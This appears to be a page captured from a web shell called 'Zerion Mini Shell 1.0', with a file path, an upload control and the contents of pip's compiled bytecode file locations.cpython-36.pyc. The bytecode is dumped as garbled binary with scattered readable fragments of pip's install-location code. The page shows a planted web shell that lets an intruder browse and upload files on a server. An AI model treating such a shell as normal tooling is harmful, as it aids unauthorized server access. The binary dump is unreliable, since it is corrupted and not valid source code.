ok

Mini Shell

Direktori : /lib/python3.6/site-packages/pip/__pycache__/
Upload File :
Current File : //lib/python3.6/site-packages/pip/__pycache__/locations.cpython-36.pyc

3

�Pf��
@sdZddlmZddlZddlZddlZddlZddlmZddl	m
Z
mZddlm
Z
mZddlmZejd�Zd	Zd
Zdd�Zd
d�Zdd�Ze�r�ejjejd�Zn6yejjej�d�ZWnek
r�ejd�YnXejje�Zej �Z!ej"Z#ed�Z$e
�rtejjejd�Z%ejje#d�Z&ejj'e%��sRejjejd�Z%ejje#d�Z&dZ(ejje$d�Z)ejje)e(�Z*njejjejd�Z%ejje#d�Z&dZ(ejje$d�Z)ejje)e(�Z*ej+dd�dk�r�ejdd�dk�r�dZ%dd�ej,d�D�Z-d#d!d"�Z.dS)$z7Locations where we look for configs, install stuff, etc�)�absolute_importN)�	sysconfig)�install�SCHEME_KEYS)�WINDOWS�
expanduser)�appdirsZpipz�This file is placed here by pip to indicate the source was put
here by pip.

Once this package is successfully installed this source code will be
deleted (unless you remove this file).
zpip-delete-this-directory.txtc	Cs2tjj|t�}t|d��}|jt�WdQRXdS)z?
    Write the pip delete marker file into this directory.
    �wN)�os�path�join�PIP_DELETE_MARKER_FILENAME�open�write�DELETE_MARKER_MESSAGE)Z	directory�filepathZ	marker_fp�r�/usr/lib/python3.6/locations.py�write_delete_marker_filesrcCs*ttd�rdStjttdtj�kr&dSdS)zM
    Return True if we're running inside a virtualenv, False otherwise.

    Zreal_prefixT�base_prefixF)�hasattr�sys�prefix�getattrrrrr�running_under_virtualenv's

rcCs>tjjtjjtj��}tjj|d�}t�r:tjj|�r:dSdS)z?
    Return True if in a venv and no system site packages.
    zno-global-site-packages.txtTN)	r
r�dirname�abspath�site�__file__rr�isfile)Zsite_mod_dirZno_global_filerrr�virtualenv_no_global4sr �srcz=The folder you are executing pip from can no longer be found.�~ZScripts�binzpip.inizpip.confz.pip��darwin�z/System/Library/z/usr/local/bincCsg|]}tjj|t��qSr)r
rr�config_basename)�.0rrrr�
<listcomp>wsr)FcCshddlm}i}|r ddgi}ni}d|i}	|	j|�||	�}
|
j�|
jddd�}|oZ|sntd	j||���|pv|j|_|r�d
|_|p�|j|_|p�|j	|_	|p�|j
|_
|j�xtD]}t
|d|�||<q�Wd|
jd�kr�|jt|j|jd
��t��rdtjjtjdddtjdd�|�|d<|dk	�rdtjjtjj|d��d}
tjj||
dd��|d<|S)z+
    Return a distutils install scheme
    r)�DistributionZscript_argsz
--no-user-cfg�namerT)Zcreatezuser={0} prefix={1}�Zinstall_�install_lib)�purelib�platlib�includer�pythonN�Zheaders�)Zdistutils.distr*�updateZparse_config_filesZget_command_obj�AssertionError�format�userr�home�rootZfinalize_optionsrrZget_option_dict�dictr-rr
rrr�version�
splitdriver)Z	dist_namer7r8r9�isolatedrr*�schemeZextra_dist_argsZ	dist_args�d�i�keyZ
path_no_driverrr�distutils_scheme|sH



rB)FNNFN)/�__doc__Z
__future__rr
Zos.pathrrZ	distutilsrZdistutils.command.installrrZ
pip.compatrrZ	pip.utilsrZuser_cache_dirZUSER_CACHE_DIRrr
rrr rrrZ
src_prefix�getcwd�OSError�exitrZget_python_libZ
site_packages�	USER_SITE�	user_siteZuser_dirZbin_pyZbin_user�existsr'Zlegacy_storage_dirZlegacy_config_file�platformZsite_config_dirsZsite_config_filesrBrrrr�<module>sd
		
(

Zerion Mini Shell 1.0